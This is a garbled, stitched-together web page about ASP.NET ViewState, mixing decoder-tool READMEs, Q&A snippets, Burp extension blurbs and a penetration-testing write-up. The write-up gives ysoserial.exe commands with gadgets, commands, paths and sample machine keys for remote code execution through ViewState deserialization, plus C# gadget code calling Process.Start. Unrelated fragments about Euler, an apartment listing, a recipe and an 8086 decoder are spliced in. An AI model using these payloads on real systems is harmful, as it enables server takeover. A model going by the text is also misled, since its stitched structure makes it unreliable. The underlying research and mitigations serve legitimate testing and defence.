This plugin supports the following arguments: A few examples to create a ViewState payload are as follows. Instead rely on the Automatically generate at runtime feature of IIS. Check out PortSwigger Dastardly-Github-Action statistics and issues. Decoding the view state can be useful in penetration testing on ASP.NET applications, as well as revealing more information that can be used to efficiently scrape web pages. README.md. ViewState payload can also be encrypted to avoid WAFs when the decryptionKey parameter could be encrypted whilst the MAC validation feature was disabled. I need to copy & paste the viewstate string and see what's inside. Hi All, Welcome to the new blog post on .NET ViewState deserialization. GitHub - martabyte/viewstate-decoder: Quick python script to decode ASP.NET ViewState. .Net 4.5 is encrypting ViewState. has been disabled. Now, lets see the execution of the code at runtime. this behaviour. awareness in this area: When ViewState MAC validation has been disabled, the YSoSerial.Net project [12] can be used to generate LosFormatter payloads as the ViewState in order to run arbitrary code on the server. Uploaded Open any page in a browser, go to the source page, copy the view state value in the clipboard. For purpose of demonstration we have reused the above front-end code from the above example and modified the back-end code as: Once we host this on IIS, we will observe that the POST requests do not send ViewState parameter anymore. . Here, the parameter p stands for the plugins, g for gadgets, c for command to be run on the server, validationkey and validationalg being the value taken from the web.config. This is somewhat "native" .NET way of converting ViewState from string into StateBag Is there any tool which allows easy viewing of variables stored in viewstate in a nice formatted manner? source, Status: In fact, it has been known publicly for at least 5 years Specify the ViewState to be decoded in . The ViewState parameter is a base64 serialised parameter that is normally sent via a hidden parameter called __VIEWSTATE with a POST request. Can you trust ViewState to handle program control? For purpose of generating payloads for demonstrating insecure deserialization we are going to use ysoserial.net for all the test cases. will try to verify and publish it when I can. Access Control Testing. Decode the view state ; Return True if the message is valid ; Parses the given buffer and returns the result ; Parse b ; Parse a . Based on project statistics from the GitHub repository for the PyPI package viewstate, we found that it has been starred 85 times. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. The viewstate for this app seems to be encrypted however -- I can't decode with UTF-8 because it encounters invalid characters (see gibberish characters below), but if I decode with Latin-1 I get something along the lines of this: . Thought I was going crazy or that our in-house CMS was doing weird things. For instance, the xaml_payload variable in the TextFormattingRunProperties I need to see the contents of the viewstate of an asp.net page. at the time of writing this blog post. Euler: A baby on his lap, a cat on his back thats how he wrote his immortal works (origin?). Its purpose is to persist the state of server controls . an example: It should be noted that when a machineKey section has not been defined within the configuration files or when the validationKey and decryptionKey attributes have been set to AutoGenerate, the application generates the required values dynamically based on a cryptographically random secret. . The following blog posts are related to this research: A video link for Immunity Canvas was added to the references and also in the Other tools section. 1 February 2020 / github / 2 min read ASP.NET View State Decoder. YSoSerial.Net, the target ASP.NET page always responds with an error even when to use Codespaces. ASP.NET View State Decoder. This was identified by reviewing the .NET Framework source code [6]. For purpose of this demo we are using below front-end and back-end code: We hosted the application in IIS and intercepted the application traffic using burp suite: It can be observed in the above screenshot that after making changes in the registry key the ViewState MAC has been disabled. Failed to load latest commit information. Connect and share knowledge within a single location that is structured and easy to search. Some features may not work without JavaScript. I meant that if it's encrypted, you won't be able to decode it. The Purpose string that is used by .NET Framework 4.5 and above to create a valid There are two main ways to use this package. ASP.NET page as an example to make this clearer: The following screenshot shows the All Rights Reserved. Quoting from my previous answer: If you are writing the control for your own consumption and you only need to read from ViewState, you could do so, but I wouldn't . the paths: It uses the ActivitySurrogateSelector gadget by default parameter that might be in use to stop CSRF attacks. As a result, knowing the targeted applications framework version is important to create a valid payload. Upgrade the ASP.NET framework so that MAC validation can not be disabled.2. @Rap In .NET 4.5 I cannot simply base64 decode it. a BinaryFormatter serializes and deserializes an object, or an entire graph of connected objects, in binary format. The following machineKey section shows an example that chooses .NET Framework version 4.5 or above (also see [14]): In older versions (prior to 4.5), .NET Framework uses the TemplateSourceDirectory property [15] when signing a serialised object. Or,Encrypt the contents of machine key so that a compromised web.config file wont reveal the values present inside the machineKey paramter. Since there is no publically available specification of how .NET viewstate is encoded, reverse engineering was based on prior work: Any official documents would be gladly accepted to help improve the parsing logic. How to use Slater Type Orbitals as a basis functions in matrix method correctly? First, it can be used as an imported library with the following typical use case: validation feature, they are now vulnerable to remote code execution via You can view the source code for all BApp Store extensions on our GitHub page. the defined Purpose strings I might have missed some parts of the history here so please This also helps to establish the fact that untrusted data should not be deserialized. There are two main ways to use this package. parameter. If you run this exploit against a patched machine it won't work. possible to send an unencrypted ViewStated by removing the __VIEWSTATEENCRYPTED @bluefeet What else is there to add? signature is different based on the used parameter. This extension is a tool that allows you to display ViewState of ASP.NET. parameter in the request (it does not need to have any value). the time of writing this blog post. developments in these tools to support the missing features. In this blog post, Sanjay talks of various test cases to exploit ASP.NET ViewState deserialization using Blacklist3r and YSoSerial.Net. See [13] for more details. First, it can be used as an imported library with the following typical use case: It is also possible to feed the raw bytes directly: Alternatively, the library can be used via command line by directly executing the module: Which will pretty-print the decoded data structure. algorithm cannot stop the attacks when the validation key and its algorithm If attackers can change the web.config The following tools were also released coincidentally at the same time as I was about to publish my work which was quite surprising: I think these tools currently do not differentiate between FieldInfo fi = typeof(MulticastDelegate).GetField(_invocationList, BindingFlags.NonPublic | BindingFlags.Instance); invoke_list[1] = new Func(Process.Start); MemoryStream stream = new MemoryStream(); //Serialization using LOSFormatter starts here, protected void Button1_Click(object sender, EventArgs e). Now right click on the page > View Source. Level up your hacking and earn more bug bounties. previously, this is the default configuration for all .NET Framework versions Accelerate penetration testing - find more bugs, more quickly. When the page is again posted back, the _VIEWSTATE field is sent to the server with the HTTP request. The following URL shows an Copy PIP instructions, View statistics for this project via Libraries.io, or by using our public dataset on Google BigQuery. CASE 1: Target framework 4.0 (ViewState Mac is disabled): It is also possible to disable the ViewState MAC completely by setting the AspNetEnforceViewStateMac registry key to zero in: Now, once this is done we will go for the exploitation phase. ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data. One may assume that if ViewState is not present, their implementation is secure from any potential vulnerabilities arising with ViewState deserialization. Is it correct to use "the" before "materials used in making buildings are"? Validation of ViewState MAC failed and Page.MaintainScrollPositionOnPostback. Get help and advice from our experts on all things Burp. I have created the ViewState YSoSerial.Net plugin in order to create ViewState payloads when the MAC validation is enabled and we know the secrets. Are you sure you want to create this branch? property is used: This different behaviour can make the automated testing using Any official documents would be gladly accepted to help improve the parsing logic. Making statements based on opinion; back them up with references or personal experience. After replacing the URL encoded value of the generated payload with the value of the __VIEWSTATE in the above shown request, our payload will execute. https://github.com/mutantzombie/JavaScript-ViewState-Parser, http://viewstatedecoder.azurewebsites.net/, https://referencesource.microsoft.com/#System.Web/UI/ObjectStateFormatter.cs,45, https://msdn.microsoft.com/en-us/library/ms972976.aspx. Then submit and get a ping. As the __PREVIOUSPAGE parameter is You can view the source code for all BApp Store extensions on our CASE 4: Target framework 4.0 (Encryption is enabled for ViewState). Site design / logo 2023 Stack Exchange Inc; user contributions licensed under CC BY-SA. Hi, In recent versions of Burp (As of v2020-03), the ViewState parser seems missing from the message editor view. A small Python 3.5+ library for decoding ASP.NET viewstate. This extension is a tool that allows you to display ViewState of ASP.NET. We wrote a sample code to create a serialized input using LOSFormatter when the application loads. Debug Android Emulators However, that is not the case. The "ViewState" of a page is by default, stored in a hidden form field in the web page named javax.faces.ViewState. So encoding and hashing is done before the request reaches server. In case there are any remaining bytes after parsing, they are assumed to be HMAC signatures, with the types estimated according to signature length. If one removes this parameter, and sends the unencrypted payload, it will still be processed. ASP.Net also provides options to encrypt the ViewState by setting the value. HTTP Debugger App. Please try enabling it if you encounter problems. Regenerate any disclosed / previously compromised validation / decryption keys. is used directly in the code for example by using Request.Form["txtMyInput"] My code is GPL licensed, can I issue a license to have my code be distributed in a specific MIT licensed project? https://cyku.tw/ctf-hitcon-2018-why-so-serials/, https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/, https://illuminopi.com/assets/files/BSidesIowa_RCEvil.net_20190420.pdf, https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints. #decode_viewstate(encoded_viewstate, algo: 'sha1') Object. ASP.NET web applications use ViewState in order to maintain a page state and persist data in a web form. pip install viewstate Lesser Known Persistence Techniques of WinXP are still effective on Win 10 and 11. So at the time, when the request is received by the server, the view state value is already encoded or hashed. Overall impact: An example. rather than txtMyInput.Text. It's best to use a proper View State decoder. Community. 4. One can choose from different encryption / validation algorithms to be used with the ViewState. Decoding the view state can be useful in penetration testing on ASP.NET applications, as well as revealing more information that can be used to efficiently scrape web pages. Since version 4.5 however, it uses the Purpose strings in order to create the hash. You can also launch it standalone with the -gui option, which does not require Burp sute. I can't see where this has gone - is it still in the current version? Developer's common vision of a ViewState is a large hidden HTML field (see. Go to the Decoder tab. Will Gnome 43 be included in the upgrades of 22.04 Jammy? platforms as well as web scanners such as Burp Suite. Please note that extensions are written by third party users of Burp, and PortSwigger Web Security makes no warranty about their quality or usefulness for any particular purpose. Once the generated value of the __VIEWSTATEGENERATOR matches the one present in the web applications request, we can conclude that we have the correct values. Download the file for your platform. It is automatically maintained across posts by the ASP.NET framework.When a page is sent back to the client, the changes in the properties of the page and its controls are determined, and stored in the value of a hidden input field named _VIEWSTATE. application. the actual ASP.NET error messages. Get started with Burp Suite Enterprise Edition. Feb 1, 2020 It is possible to decode the value of ViewState from the command line. You can view the data in either Text or Hex form. Note that for uploading a new package version, a valid PyPI auth token should be defined in ~/.pypirc. Is a page-specific identifier for a user and is used to defend against CSRF attacks. The ViewState is basically generated by the server and is sent back to the client in the form of a hidden form field _VIEWSTATE for POST action requests. ASP.Net: Why aren't the changes I make to Viewstate in a control event available to subsequent postbacks? within the root of an application, they can easily run code on the server. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. as the ViewState will still be parsed by ASP.NET. Informacin detallada del sitio web y la empresa: belaval.com, +39471790174 Apartments belaval a s. Cristina - val gardena - dolomiti Below we can see that the test.txt file has been created in the Temp directory: This is a simple simulation showcasing how the ViewState Serialization and deserialization would work in a web application during postback action. Now that we have covered the basics of ViewState and its working, lets shift our focus towards the insecure deserialization of the ViewState and how this can lead to remote code execution. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. parts when the MaxPageStateFieldLength property has been set to a positive value. Modifying other gadgets can be useful if a shorter payload A tag already exists with the provided branch name. ViewStateDecoder. It is intended for use with Burp suite v2020.x or later. It is usually saved on a hidden form field: Decoding the view state can be useful in penetration testing on ASP.NET applications, as well as revealing more information that can be used to efficiently scrape web pages. Base64 Encoder/Decoder Encode the plain text to Base64 or decode Base64 to the plain text. Downloads: 2 This Week. A small Python 3.5+ library for decoding ASP.NET viewstate. . button on the Message Tab of the History to select the ViewState. Users starred: 59; Users forked: 9; Users watching: 59; Updated at: 2020-02-01 19:59:55; ASP.NET View State Decoder. Usage of this tool for attacking targets without prior mutual consent is illegal. $ viewgen -h usage: viewgen [-h] [--webconfig WEBCONFIG] [-m MODIFIER] [--viewstateuserkey VIEWSTATEUSERKEY] [-c COMMAND] [--decode] [--guess] [--check] [--vkey VKEY] [--valg VALG] [--dkey DKEY] [--dalg DALG] [-u] [-e] [-f FILE] [--version] [payload] viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files positional . The following list shows how to mitigate risks of this Collapse the selected tree. ready made graham cracker crust recipes / ac valhalla ciara romance consequences / viewstate decoder github. I'm guessing something has changed - the textbox at the bottom left is a command prompt of some kind, and pasting in viewstate does nothing useful. string serialized_data = File.ReadAllText(@C:\Windows\Temp\serialnet.txt); //Base64 decode the serialized data before deserialization, //Deserialization using ObjectStateFormatter starts here, HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}, <%@ Page Language=C# AutoEventWireup=true CodeFile=hello.aspx.cs Inherits=hello %>, public partial class hello : System.Web.UI.Page, ysoserial.exe -o base64 -g TypeConfuseDelegate, <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello", <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>, ysoserial.exe -p ViewState -g TypeConfuseDelegate -c echo 123 > c:\windows\temp\test.txt --path=/site/test.aspx/ --apppath=/directory decryptionalg=AES --decryptionkey=EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg=SHA1" --validationkey=B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", <%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %>, public partial class test : System.Web.UI.Page, ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/, https://github.com/pwntester/ysoserial.net, https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/, https://www.tutorialspoint.com/asp.net/asp.net_managing_state.htm, https://odetocode.com/blogs/scott/archive/2006/03/20/asp-net-event-validation-and-invalid-callback-or-postback-argument.aspx, https://blogs.objectsharp.com/post/2010/04/08/ViewStateUserKey-ValidateAntiForgeryToken-and-the-Security-Development-Lifecycle.aspx. In the above screenshot, the second request has provided us the correct value for the __VIEWSTATEGENERATOR parameter. Thanks for this answer, If this tells you that the serialized data is invalid, try. Donate today! attack: Exploiting untrusted data deserialisation via the ViewState Decode the ViewState value. that requires compiling the ExploitClass.cs class in YSoSerial.Net project. Decode the ASP.NET ViewState strings and display in treeview format Decode More Free Tools. It is possible to Copy and include the following information if relevant. Use Fiddler and grab the view state in the response and paste it into the bottom left text box then decode. its value should cause an error. Fixed some issues with ViewState in the existing Burp suite. By Posted total war: warhammer 2 dark elves guide 2021 In mobile homes for rent in oakland, maine I just wrote a small tool to easily decode ASP.NET __VIEWSTATE variables without having to install the viewstate module into the system with administrative privileges and be able to decode the variables with a small script using a terminal, without writting python code. This is intended to give you an instant insight into viewstate implemented functionality, and help decide if they suit your requirements. Server-side ViewState If the JSF ViewState is configured to sit on the server the hidden javax.faces.ViewState field contains an id that helps the server to retrieve the correct state. +1 Good Link to the Online View State Decoder simple to use and worked. If you're not sure which to choose, learn more about installing packages. the __VIEWSTATE If the runtime sees a value it doesnt know about, it throws an exception.This parameter also contains serialized data. Framework version 4.0 or below in order to sign a serialised object without Cannot retrieve contributors at this time. There are two main ways to use this package. Both of these mechanisms require the target path from the root of the application directory and the page name. It seems ViewState is encrypted by default since version 4.5 even when the viewStateEncryptionMode property has been set to . Why does it seem like I am losing IP addresses after subnetting with the subnet mask of 255.255.255.192/26? In this case, we will need to provide the app path and path variables as parameters to ysoserial. Access Control Context Options; Access Control Status Tab . The Viewstate decoder accepts Base64 encoded .NET viewstate data and returns the decoded output in the form of plain Python objects. It is merely base64 encoded. When the GO button is clicked in the application, this data is read back from the file and then deserialized with the help of ObjectStateFormatter. Before December 2013 when most of us did not know about the danger of remote code execution via deserialisation issues in ViewState, the main impacts of disabling the MAC validation were as follows (see [8]): At the time of writing this blog post, the following well in the web.config file. The Viewstate decoder accepts Base64 encoded .NET viewstate data and returns the decoded output in the form of plain Python objects. Inputs: data: Single line of base64 encoded viewstate. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. Encrypt any sensitive parameters such as the. How do you ensure that a red herring doesn't violate Chekhov's gun? We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below. As a result, manual testing It was then possible to use the YSoSerial.Net project [12] to create the LosFormatter class payloads. Here, we are required to pass another parameter to the ysoserial ViewState generator as below: Below is the back-end code we used to demonstrate this example: What should a developer do for prevention of such an exploitation?1. Value of the ViewStateUserKey property (when it is not null) is also used during the ViewState signing process. This has been the first way that actually works for me. Its default value is negative A novel encoder-decoder network-based model is proposed for trend prediction in this work. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. 4.5 or above, Performing cross-site scripting (XSS) attacks, The application uses .NET Cisco Bug IDs: CSCvc76634. Note that it is also possible to decode using the command line. In the past, it was possible to disable the MAC validation simply by setting the enableViewStateMac property to False.Microsoft released a patch in September 2014 to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Visit Snyk Advisor to see a full health score report for viewstate, including popularity, . parameter has been encrypted. in .NET Framework: The table above shows all input parameters that could be targeted. Select the operation you want to perform on the data from the controls beside the data panel. This also means that changing the decryption key or its What is the purpose of this D-shaped ring at the base of the tongue on my hiking boots? Ensure that the MAC validation is enabled. Even if the ViewState is URLEncoded, the ViewState will be output after URLDecode. A small Python 3.5+ library for decoding ASP.NET viewstate. ZAP. Developed and maintained by the Python community, for the Python community. Normally, ViewState should be decryptable if you have the machine-key, right? Please Code. After all, ASP.net needs to decrypt it, and that is certainly not a black box. Are you sure you want to create this branch? It then verifies the signature using the message authentication code (MAC) validation mechanism. The data is in the top panel. should be noted that most scanners do not attempt to send an unencrypted For better understanding, we will understand various test cases and look at each one of them practically. could use trial and error to test all the directory names in the URL one by one There are two main ways to use this package. The __VIEWSTATE parameter can be encrypted in order to Disabled ViewState MAC Validation. parameter with an invalid value. Fig.1: ViewState in action From a more technical point of view, the ViewState is much more than bandwidth-intensive content. As explained previously, we sometimes use errors to check whether a generated ViewState is valid. encountered in any real situation. version is sorely outdated and therefore too unlikely to be in the web.config file. 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 # File 'lib/msf/core/exploit/view_state . In order to make ViewState tamper free there are options to even make ViewState MAC enabled due to which an integrity check would be performed on the ViewState value during deserialization by setting the value. The enterprise-enabled dynamic web vulnerability scanner. Site map. is required when the MAC validation feature is enabled. It shows a tree view of the structure and provides an editor for viewing & editing the contents. The other two answerers did the same thing and only posted the link. this research and creation of the ViewState YSoSerial.Net plugin. or docker pull 0xacb/viewgen. kandi has reviewed viewstate and discovered the below as its top functions. If nothing happens, download GitHub Desktop and try again. However, in cases where we have _VIEWSTATEGENERATOR parameter in the HTTP Requests, we can directly provide its value to ysoserial for payload generation. yuvadm/viewstate. The command line usage can also accept raw bytes with the -r flag: Viewstate HMAC signatures are also supported. This worked on an input on which the Ignatu decoder failed with "The serialized data is invalid" (although it leaves the BinaryFormatter-serialized data undecoded, showing only its length). Prior to the .NET Framework version 4.5, the __VIEWSTATE Generate a payload with ysoserial that will ping my host, and the known good ViewState with that in the script. In case there are any remaining bytes after parsing, they are assumed to be HMAC signatures, with the types estimated according to signature length. been provided. parameter from the request. Prior to .NET 4.5, ASP.NET can accept an unencrypted __VIEWSTATE parameter from the users even if ViewStateEncryptionMode has been set to Always. URLENCODED data is okay ''' # URL Encoding: urldelim = "%" # Check to see if the viewstate data has urlencoded characters in it and remove: if re. Viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys, viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files, pip3 install --user --upgrade -r requirements.txt or ./install.sh, docker build -t viewgen . [expand] Button Burpsuite extension. Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner. viewstate will also show any hash applied to the viewstate data. This repository contains a program that implements the 8086 instruction decoder, which allows for the decoding of basic instructions for the 8086 microprocessor - GitHub - akmubi/decoder8086: This repository contains a program that implements the 8086 instruction decoder, which allows for the decoding of basic instructions for the 8086 microprocessor Note that for uploading a new package version, a valid PyPI auth token should be defined in ~/.pypirc. End Sub. also serialised similar to the __VIEWSTATE parameter and can be targeted similarly. Add-ons. value is known: The ViewStateUserKey parameter can also be provided as an In order to generate a ViewState for the above URL, the This means that knowing the validation key and its algorithm is enough to exploit a website.
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